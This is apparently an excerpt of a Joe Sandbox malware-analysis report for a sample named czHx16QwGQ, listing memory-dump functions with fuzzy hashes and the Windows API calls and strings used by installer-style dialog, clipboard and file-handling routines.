Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38f40000_czHx16QwGQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 60c2a389eb23c6a0ef0a66b8454af47fcbf45376e175f801d3605bab1eea03da
Instruction ID: f630eedf15404c9b64fa1da978b66bc1d295adf6dbb73852460afd8cc507b8c7
Opcode Fuzzy Hash: 60c2a389eb23c6a0ef0a66b8454af47fcbf45376e175f801d3605bab1eea03da
Instruction Fuzzy Hash: 26C1B274E01218CFDB54DFA9C994B9DBBB2BF89300F6081A9D809AB355DB359E85CF10

Function 38F467C0 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2747378559.0000000038F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 38F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38f40000_czHx16QwGQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a3ef5dcafce01d39ace60612fb91e0e391ee912bab69ce806eb4b141e86dbc4a
Instruction ID: 849b44329a2fdf39f0a6c2dda2ed86cd7cfaa7b67976d269d4e94424f585accb
Opcode Fuzzy Hash: a3ef5dcafce01d39ace60612fb91e0e391ee912bab69ce806eb4b141e86dbc4a
Instruction Fuzzy Hash: 46C1B374E01218CFEB54DFA5C995B9DBBB2BF89300F6080A9D409AB355DB359E85CF10

Function 38F40FA8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2747378559.0000000038F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 38F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38f40000_czHx16QwGQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 069c6ee75de890ecf4c786faa9d17a621bcee97258dc62b3a3dffddbb586bfd2
Instruction ID: 1ca3d6929ec74c151e01555000b2e3dd5197ecc420898d7bf0504dee14e71f43
Opcode Fuzzy Hash: 069c6ee75de890ecf4c786faa9d17a621bcee97258dc62b3a3dffddbb586bfd2
Instruction Fuzzy Hash: 80C1B374E01218CFDB54DFA9C995B9DBBB2BF89300F6081AAD409AB355DB359E81CF10

Function 38F43F70 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2747378559.0000000038F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 38F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38f40000_czHx16QwGQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 97896e20114aaf92a1d09eedea96a049cec74b3ab0839907107190872372589b
Instruction ID: d1f2c43c929f0b1972347edfb2ce590acf4750c7872aeca9dfcd35a906196618
Opcode Fuzzy Hash: 97896e20114aaf92a1d09eedea96a049cec74b3ab0839907107190872372589b
Instruction Fuzzy Hash: 81C1A074E01218CFDB54DFA9C995B9DBBB2BF89300F6080A9D409BB355DB359A82CF50

Function 38F45F10 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2747378559.0000000038F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 38F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38f40000_czHx16QwGQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d6e37f50e2c0c90eeb32c6e59905fbdf4f143b1571c6c63648bdc0808bfcc6d4
Instruction ID: 8e0c887ff24fb41b7ee62ffddace15ac76cfdcb8bfc20c66992aa6fcbec3d775
Opcode Fuzzy Hash: d6e37f50e2c0c90eeb32c6e59905fbdf4f143b1571c6c63648bdc0808bfcc6d4
Instruction Fuzzy Hash: 1BC1B374E01218CFEB54DFA5C994B9DBBB2BF89300F5081A9D409AB355DB355E82CF10

Function 3836C1F2 Relevance: .3, Instructions: 267COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2746866555.0000000038360000.00000040.00000800.00020000.00000000.sdmp, Offset: 38360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38360000_czHx16QwGQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 70d4b4e6ae74a937ad4c6082b22eb57190183301fc2ba2f847908c2e47f70e2c
Instruction ID: e659fb576a1d9aa0864f88b3de0fb1f63e2ebaa20de57b2bcca3c98ea8d9664a
Opcode Fuzzy Hash: 70d4b4e6ae74a937ad4c6082b22eb57190183301fc2ba2f847908c2e47f70e2c
Instruction Fuzzy Hash: 0FC1B274E01218CFDB54DFA9C994B9DBBB2BF89304F6080A9D409AB355DB359E82CF10

Function 3836E347 Relevance: .3, Instructions: 266COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2746866555.0000000038360000.00000040.00000800.00020000.00000000.sdmp, Offset: 38360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38360000_czHx16QwGQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ac91032aa3352eed7299d880773f4211f935ac13a87b917dd9e80351b644cf10
Instruction ID: 9807a3c21020e0fd6e0cb224f3842eeaa805e57bd73efb533b25e7846563d24c
Opcode Fuzzy Hash: ac91032aa3352eed7299d880773f4211f935ac13a87b917dd9e80351b644cf10
Instruction Fuzzy Hash: 85C1D174E01218CFDB54DFA9C994B9DBBB2BF89314F6080A9D809AB355DB349E85CF10

Function 3836EBF7 Relevance: .3, Instructions: 266COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2746866555.0000000038360000.00000040.00000800.00020000.00000000.sdmp, Offset: 38360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38360000_czHx16QwGQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ee77f705f4f390b808aec77b0edc2543e99aa6018af0cea7ce41bf40b3b56aa7
Instruction ID: 16d5e8834a80f074651cf97484c02e5fb392a0f30dd159fa4d0b708742a6e41f
Opcode Fuzzy Hash: ee77f705f4f390b808aec77b0edc2543e99aa6018af0cea7ce41bf40b3b56aa7
Instruction Fuzzy Hash: E5C1D174E01218CFDB54DFA9C994B9DBBB2BF89304F6080A9D809AB355DB359E85CF10

Function 3836E79F Relevance: .3, Instructions: 266COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2746866555.0000000038360000.00000040.00000800.00020000.00000000.sdmp, Offset: 38360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38360000_czHx16QwGQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c4ba020bb847685fc4f6ea350f102ef186337ad07f855bcac7538ab95fce9ad2
Instruction ID: 0df22d7c224c1cfb3b6a6f8421d3856aff8d7cecaf90866d58a659b0afdbbe79
Opcode Fuzzy Hash: c4ba020bb847685fc4f6ea350f102ef186337ad07f855bcac7538ab95fce9ad2
Instruction Fuzzy Hash: 40C1D274E01218CFEB54DFA9C985B9DBBB2BF89304F6080A9D409AB355DB359E85CF10

Function 3836F05A Relevance: .3, Instructions: 264COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2746866555.0000000038360000.00000040.00000800.00020000.00000000.sdmp, Offset: 38360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38360000_czHx16QwGQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 06d7dfde526c87510f310cc44425abc6ada6bf1b22ab3b575b34cbffee65b626
Instruction ID: eeaf2611d8221e92ea3256af34a64ce257fdee828c7bd0d00eb760221df5cf01
Opcode Fuzzy Hash: 06d7dfde526c87510f310cc44425abc6ada6bf1b22ab3b575b34cbffee65b626
Instruction Fuzzy Hash: F4C1A078E01218CFDB54DFA9C995B9DBBB2BF89304F6080A9D409BB355DB359A81CF10

Function 3836BDA2 Relevance: .3, Instructions: 264COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2746866555.0000000038360000.00000040.00000800.00020000.00000000.sdmp, Offset: 38360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38360000_czHx16QwGQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 90b8f0f7a45edcf01c0df68e4ad8b084a1be91c9ab656a9aae08f473910c149e
Instruction ID: 542de1a115f54f2d730ab662583c1095f9094b496bf29d2b1684cb647ea5e221
Opcode Fuzzy Hash: 90b8f0f7a45edcf01c0df68e4ad8b084a1be91c9ab656a9aae08f473910c149e
Instruction Fuzzy Hash: 1FC1A174E01218CFDB54DFA9C995B9DBBB2BF89304F6080A9D409AB355DB359E82CF10

Function 3947F5A0 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2747576107.0000000039470000.00000040.00000800.00020000.00000000.sdmp, Offset: 39470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_39470000_czHx16QwGQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 682791160dd9bbac95ef17d4fff13e5da56a58cf52ab751a40b20f963ac7a40b
Instruction ID: 488dadae056af210558a5fd1d1b1a5abe2488404e00214b29a9c9794bef7df5f
Opcode Fuzzy Hash: 682791160dd9bbac95ef17d4fff13e5da56a58cf52ab751a40b20f963ac7a40b
Instruction Fuzzy Hash: 59D06779E1431C8ACB11EF98E8802ECF7B0AB9A325F0024A6815DA7214DB715AA4CF56

Function 0040558F Relevance: 66.8, APIs: 36, Strings: 2, Instructions: 284windowclipboardmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000403), ref: 004055ED
GetDlgItem.USER32(?,000003EE), ref: 004055FC
GetClientRect.USER32(?,?), ref: 00405639
GetSystemMetrics.USER32(00000002), ref: 00405640
SendMessageW.USER32(?,00001061,00000000,?), ref: 00405661
SendMessageW.USER32(?,00001036,00004000,00004000), ref: 00405672
SendMessageW.USER32(?,00001001,00000000,00000110), ref: 00405685
SendMessageW.USER32(?,00001026,00000000,00000110), ref: 00405693
SendMessageW.USER32(?,00001024,00000000,?), ref: 004056A6
ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 004056C8
ShowWindow.USER32(?,?), ref: 004056DC
GetDlgItem.USER32(?,?), ref: 004056FD
SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 0040570D
SendMessageW.USER32(00000000,00000409,00000000,?), ref: 00405726
SendMessageW.USER32(00000000,00002001,00000000,00000110), ref: 00405732
GetDlgItem.USER32(?,?), ref: 0040560B

Part of subcall function 00404394: SendMessageW.USER32(?,?,00000001,004041BF), ref: 004043A2

GetDlgItem.USER32(?,?), ref: 0040574F
CreateThread.KERNEL32(00000000,00000000,Function_00005523,00000000), ref: 0040575D
CloseHandle.KERNEL32(00000000), ref: 00405764
ShowWindow.USER32(00000000), ref: 00405788
ShowWindow.USER32(?,?), ref: 0040578D
ShowWindow.USER32(?), ref: 004057D7
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 0040580B
CreatePopupMenu.USER32 ref: 0040581C
AppendMenuW.USER32(00000000,00000000,00000001,00000000), ref: 00405830
GetWindowRect.USER32(?,?), ref: 00405850
TrackPopupMenu.USER32(00000000,?,?,?,00000000,?,00000000), ref: 00405869
SendMessageW.USER32(?,00001073,00000000,?), ref: 004058A1
OpenClipboard.USER32(00000000), ref: 004058B1
EmptyClipboard.USER32 ref: 004058B7
GlobalAlloc.KERNEL32(00000042,00000000), ref: 004058C3
GlobalLock.KERNEL32(00000000), ref: 004058CD
SendMessageW.USER32(?,00001073,00000000,?), ref: 004058E1
GlobalUnlock.KERNEL32(00000000), ref: 00405901
SetClipboardData.USER32(0000000D,00000000), ref: 0040590C
CloseClipboard.USER32 ref: 00405912

Strings

(7B, xrefs: 0040587D
{, xrefs: 004057F5

Memory Dump Source

Source File: 00000005.00000002.2717439681.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2717415511.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717457516.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717475134.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717499670.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_czHx16QwGQ.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
String ID: (7B${
API String ID: 590372296-525222780
Opcode ID: f04ab8e6c053f28f703b7489d19dc379b83f29f3476edfbeb8782164aeb73afa
Instruction ID: ef9837d71be30d97cad1ad5ee6bf48d4101bac37d77d0ad6e239d9f51a57dc01
Opcode Fuzzy Hash: f04ab8e6c053f28f703b7489d19dc379b83f29f3476edfbeb8782164aeb73afa
Instruction Fuzzy Hash: C4B16A70900608FFDB11AFA0DD85AAE7B79FB48355F00403AFA45B61A0CB754E52DF68

Function 00403E86 Relevance: 58.1, APIs: 32, Strings: 1, Instructions: 346windowstringCOMMON

Download Yara Rule

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 00403EC2
ShowWindow.USER32(?), ref: 00403EDF
DestroyWindow.USER32 ref: 00403EF3
SetWindowLongW.USER32(?,00000000,00000000), ref: 00403F0F
GetDlgItem.USER32(?,?), ref: 00403F30
SendMessageW.USER32(00000000,000000F3,00000000,00000000), ref: 00403F44
IsWindowEnabled.USER32(00000000), ref: 00403F4B
GetDlgItem.USER32(?,00000001), ref: 00403FF9
GetDlgItem.USER32(?,00000002), ref: 00404003
SetClassLongW.USER32(?,000000F2,?), ref: 0040401D
SendMessageW.USER32(0000040F,00000000,00000001,?), ref: 0040406E
GetDlgItem.USER32(?,00000003), ref: 00404114
ShowWindow.USER32(00000000,?), ref: 00404135
EnableWindow.USER32(?,?), ref: 00404147
EnableWindow.USER32(?,?), ref: 00404162
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 00404178
EnableMenuItem.USER32(00000000), ref: 0040417F
SendMessageW.USER32(?,?,00000000,00000001), ref: 00404197
SendMessageW.USER32(?,00000401,00000002,00000000), ref: 004041AA
lstrlenW.KERNEL32(00423728,?,00423728,00000000), ref: 004041D4
SetWindowTextW.USER32(?,00423728), ref: 004041E8
ShowWindow.USER32(?,0000000A), ref: 0040431C

Strings

(7B, xrefs: 004041C4

Memory Dump Source

Source File: 00000005.00000002.2717439681.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2717415511.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717457516.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717475134.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717499670.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_czHx16QwGQ.jbxd

Similarity

API ID: Window$Item$MessageSend$EnableShow$LongMenu$ClassDestroyEnabledSystemTextlstrlen
String ID: (7B
API String ID: 184305955-3251261122
Opcode ID: 030bf1c90a5d59ce14a62ff8eb631d2412c8a49503263f6ef8a14511ced3c4f7
Instruction ID: 1e1a27d6975204c591228116fe5edee23a209105d2649c04e919f1d7e5095d09
Opcode Fuzzy Hash: 030bf1c90a5d59ce14a62ff8eb631d2412c8a49503263f6ef8a14511ced3c4f7
Instruction Fuzzy Hash: 6FC1A2B1644200FBDB216F61EE85D2A3BB8EB94706F40053EFA41B11F1CB7958529B6D

Function 00403AD8 Relevance: 38.7, APIs: 13, Strings: 9, Instructions: 215stringregistryCOMMON

Download Yara Rule

APIs

Part of subcall function 004067C2: GetModuleHandleA.KERNEL32(?,?,?,00403517,0000000A), ref: 004067D4
Part of subcall function 004067C2: GetProcAddress.KERNEL32(00000000,?), ref: 004067EF

lstrcatW.KERNEL32(00437000,00423728,80000001,Control Panel\Desktop\ResourceLocale,00000000,00423728,00000000,00000002,00437800,75573420,00435000,00000000), ref: 00403B59
lstrlenW.KERNEL32(004281E0,?,?,?,004281E0,00000000,00435800,00437000,00423728,80000001,Control Panel\Desktop\ResourceLocale,00000000,00423728,00000000,00000002,00437800), ref: 00403BD9
lstrcmpiW.KERNEL32(004281D8,.exe,004281E0,?,?,?,004281E0,00000000,00435800,00437000,00423728,80000001,Control Panel\Desktop\ResourceLocale,00000000,00423728,00000000), ref: 00403BEC
GetFileAttributesW.KERNEL32(004281E0), ref: 00403BF7
LoadImageW.USER32(00000067,00000001,00000000,00000000,00008040,00435800), ref: 00403C40

Part of subcall function 0040632F: wsprintfW.USER32 ref: 0040633C

RegisterClassW.USER32(004291E0), ref: 00403C7D
SystemParametersInfoW.USER32(?,00000000,?,00000000), ref: 00403C95
CreateWindowExW.USER32(?,_Nb,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00403CCA
ShowWindow.USER32(00000005,00000000), ref: 00403D00
GetClassInfoW.USER32(00000000,RichEdit20W,004291E0), ref: 00403D2C
GetClassInfoW.USER32(00000000,RichEdit,004291E0), ref: 00403D39
RegisterClassW.USER32(004291E0), ref: 00403D42
DialogBoxParamW.USER32(?,00000000,00403E86,00000000), ref: 00403D61

Strings

Control Panel\Desktop\ResourceLocale, xrefs: 00403B0C
RichEd32, xrefs: 00403D14
_Nb, xrefs: 00403C5C, 00403CC4
RichEdit20W, xrefs: 00403D24, 00403D2A
(7B, xrefs: 00403B04
.DEFAULT\Control Panel\International, xrefs: 00403B44
RichEd20, xrefs: 00403D06
RichEdit, xrefs: 00403D33
.exe, xrefs: 00403BE6

Memory Dump Source

Source File: 00000005.00000002.2717439681.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2717415511.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717457516.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717475134.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717499670.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_czHx16QwGQ.jbxd

Similarity

API ID: Class$Info$RegisterWindow$AddressAttributesCreateDialogFileHandleImageLoadModuleParamParametersProcShowSystemlstrcatlstrcmpilstrlenwsprintf
String ID: (7B$.DEFAULT\Control Panel\International$.exe$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20W$_Nb
API String ID: 1975747703-1425696872
Opcode ID: fa642e9f5f159fa40c6df89367760cd7b58c30057714375835671963a1e6ccc9
Instruction ID: f49b718e50d7a26840138b6048ee10d29e8519d5aa43f5d66e73d4226ad9b376
Opcode Fuzzy Hash: fa642e9f5f159fa40c6df89367760cd7b58c30057714375835671963a1e6ccc9
Instruction Fuzzy Hash: FF61C470204700BBE220AF669E45F2B3A7CEB84B49F40447FF945B22E2DB7D5912C62D

Function 0040451E Relevance: 35.2, APIs: 19, Strings: 1, Instructions: 204windowstringCOMMON

Download Yara Rule

APIs

CheckDlgButton.USER32(?,-0000040A,00000001), ref: 004045BC
GetDlgItem.USER32(?,?), ref: 004045D0
SendMessageW.USER32(00000000,0000045B,00000001,00000000), ref: 004045ED
GetSysColor.USER32(?), ref: 004045FE
SendMessageW.USER32(00000000,00000443,00000000,?), ref: 0040460C
SendMessageW.USER32(00000000,00000445,00000000,04010000), ref: 0040461A
lstrlenW.KERNEL32(?), ref: 0040461F
SendMessageW.USER32(00000000,00000435,00000000,00000000), ref: 0040462C
SendMessageW.USER32(00000000,00000449,00000110,00000110), ref: 00404641
GetDlgItem.USER32(?,0000040A), ref: 0040469A
SendMessageW.USER32(00000000), ref: 004046A1
GetDlgItem.USER32(?,?), ref: 004046CC
SendMessageW.USER32(00000000,0000044B,00000000,00000201), ref: 0040470F
LoadCursorW.USER32(00000000,00007F02), ref: 0040471D
SetCursor.USER32(00000000), ref: 00404720
LoadCursorW.USER32(00000000,00007F00), ref: 00404739
SetCursor.USER32(00000000), ref: 0040473C
SendMessageW.USER32(00000111,00000001,00000000), ref: 0040476B
SendMessageW.USER32(?,00000000,00000000), ref: 0040477D

Strings

N, xrefs: 004046BA

Memory Dump Source

Source File: 00000005.00000002.2717439681.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2717415511.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717457516.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717475134.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717499670.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_czHx16QwGQ.jbxd

Similarity

API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorlstrlen
String ID: N
API String ID: 3103080414-1130791706
Opcode ID: c2d943e7d3074a80d89972f065d7b0d6c6867904808fb573d17a53c74c23d30b
Instruction ID: 26ae409e5f73424340e4bb55f347a499eb46e427c8d4328441e026d38e95c6c2
Opcode Fuzzy Hash: c2d943e7d3074a80d89972f065d7b0d6c6867904808fb573d17a53c74c23d30b
Instruction Fuzzy Hash: 4B6173B1900209BFDB109F60DD85EAA7B69FB84314F00853AFB05772E0D7789D52CB58

Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 125COMMON

Download Yara Rule

APIs

DefWindowProcW.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32(?,?), ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010CF
FillRect.USER32(00000000,?,00000000), ref: 004010E4
DeleteObject.GDI32(?), ref: 004010ED
CreateFontIndirectW.GDI32(?), ref: 00401105
SetBkMode.GDI32(00000000,00000001), ref: 00401126
SetTextColor.GDI32(00000000,000000FF), ref: 00401130
SelectObject.GDI32(00000000,?), ref: 00401140
DrawTextW.USER32(00000000,00429240,000000FF,00000010,00000820), ref: 00401156
SelectObject.GDI32(00000000,00000000), ref: 00401160
DeleteObject.GDI32(?), ref: 00401165
EndPaint.USER32(?,?), ref: 0040116E

Strings

F, xrefs: 0040100C

Memory Dump Source

Source File: 00000005.00000002.2717439681.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2717415511.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717457516.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717475134.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717499670.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_czHx16QwGQ.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: a62f14d8607f0cab4b909ce482175ba86ddefa50def87cd09a38214d4056f576
Instruction ID: b35030fe9107d9a8359b932f7918d2348922827c9ca57aaae851fe5b21190c6b
Opcode Fuzzy Hash: a62f14d8607f0cab4b909ce482175ba86ddefa50def87cd09a38214d4056f576
Instruction Fuzzy Hash: 92418A71800249AFCF058FA5DE459AFBBB9FF44310F00842AF991AA1A0C738E955DFA4

Function 00404850 Relevance: 21.3, APIs: 10, Strings: 2, Instructions: 275stringCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003FB), ref: 0040489F
SetWindowTextW.USER32(00000000,?), ref: 004048C9
SHBrowseForFolderW.SHELL32(?), ref: 0040497A
CoTaskMemFree.OLE32(00000000), ref: 00404985
lstrcmpiW.KERNEL32(004281E0,00423728,00000000,?,?), ref: 004049B7
lstrcatW.KERNEL32(?,004281E0), ref: 004049C3
SetDlgItemTextW.USER32(?,000003FB,?), ref: 004049D5

Part of subcall function 00405A32: GetDlgItemTextW.USER32(?,?,?,00404A0C), ref: 00405A45

Part of subcall function 0040667C: CharNextW.USER32(?,*?|<>/":,00000000,00000000,00437800,00437800,00435000,00403480,00437800,75573420,004036EF,?,00000006,?,0000000A), ref: 004066DF
Part of subcall function 0040667C: CharNextW.USER32(?,?,?,00000000,?,00000006,?,0000000A), ref: 004066EE
Part of subcall function 0040667C: CharNextW.USER32(?,00000000,00437800,00437800,00435000,00403480,00437800,75573420,004036EF,?,00000006,?,0000000A), ref: 004066F3
Part of subcall function 0040667C: CharPrevW.USER32(?,?,00437800,00437800,00435000,00403480,00437800,75573420,004036EF,?,00000006,?,0000000A), ref: 00406706

GetDiskFreeSpaceW.KERNEL32(004216F8,?,?,0000040F,?,004216F8,004216F8,?,00000001,004216F8,?,?,000003FB,?), ref: 00404A98
MulDiv.KERNEL32(?,0000040F,00000400), ref: 00404AB3

Part of subcall function 00404C0C: lstrlenW.KERNEL32(00423728,00423728,?,%u.%u%s%s,00000005,00000000,00000000,?,?,00000000,?,000000DF,00000000,00000400,?), ref: 00404CAD
Part of subcall function 00404C0C: wsprintfW.USER32 ref: 00404CB6
Part of subcall function 00404C0C: SetDlgItemTextW.USER32(?,00423728), ref: 00404CC9

Strings

(7B, xrefs: 0040494D
A, xrefs: 00404973

Memory Dump Source

Source File: 00000005.00000002.2717439681.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2717415511.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717457516.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717475134.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717499670.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_czHx16QwGQ.jbxd

Similarity

API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpilstrlenwsprintf
String ID: (7B$A
API String ID: 2624150263-3645020878
Opcode ID: e24882e00550f6ead3a1036a7d6e943431ff60c63dfc37ca84bce6dbb49f36c9
Instruction ID: 217fbe9c53fcac7a38d38ba6b36a95d3c52d9e466bb1b0d29fe77156d884dce9
Opcode Fuzzy Hash: e24882e00550f6ead3a1036a7d6e943431ff60c63dfc37ca84bce6dbb49f36c9
Instruction Fuzzy Hash: 01A161F1A00205ABDB11EFA5C985AAF77B8EF84315F10803BF611B62D1D77C9A418B6D

Function 00406034 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 130memorystringCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(00000000,?,00000000,00000001,?,00000000,?,?,004061CF,?,?), ref: 0040606F
GetShortPathNameW.KERNEL32(?,00426DC8,00000400), ref: 00406078

Part of subcall function 00405E43: lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00406128,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405E53
Part of subcall function 00405E43: lstrlenA.KERNEL32(00000000,?,00000000,00406128,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405E85

GetShortPathNameW.KERNEL32(?,004275C8,00000400), ref: 00406095
wsprintfA.USER32 ref: 004060B3
GetFileSize.KERNEL32(00000000,00000000,004275C8,C0000000,?,004275C8,?,?,?,?,?), ref: 004060EE
GlobalAlloc.KERNEL32(?,0000000A,?,?,?,?), ref: 004060FD
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00406135
SetFilePointer.KERNEL32(0040A590,00000000,00000000,00000000,00000000,004269C8,00000000,-0000000A,0040A590,00000000,[Rename],00000000,00000000,00000000), ref: 0040618B
GlobalFree.KERNEL32(00000000), ref: 0040619C
CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 004061A3

Part of subcall function 00405EDE: GetFileAttributesW.KERNEL32(00000003,00402F73,00438800,80000000,00000003), ref: 00405EE2
Part of subcall function 00405EDE: CreateFileW.KERNEL32(?,?,00000001,00000000,?,00000001,00000000), ref: 00405F04

Strings

%ls=%ls, xrefs: 004060A9
[Rename], xrefs: 0040611D, 0040612F

Memory Dump Source

Source File: 00000005.00000002.2717439681.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2717415511.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717457516.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717475134.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717499670.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_czHx16QwGQ.jbxd

Similarity

API ID: File$CloseGlobalHandleNamePathShortlstrlen$AllocAttributesCreateFreePointerSizelstrcpywsprintf
String ID: %ls=%ls$[Rename]
API String ID: 2171350718-461813615
Opcode ID: 743beb3988d04f7b57c6902fe00ffd967832125f1abdce8c9c4456724f210b8f
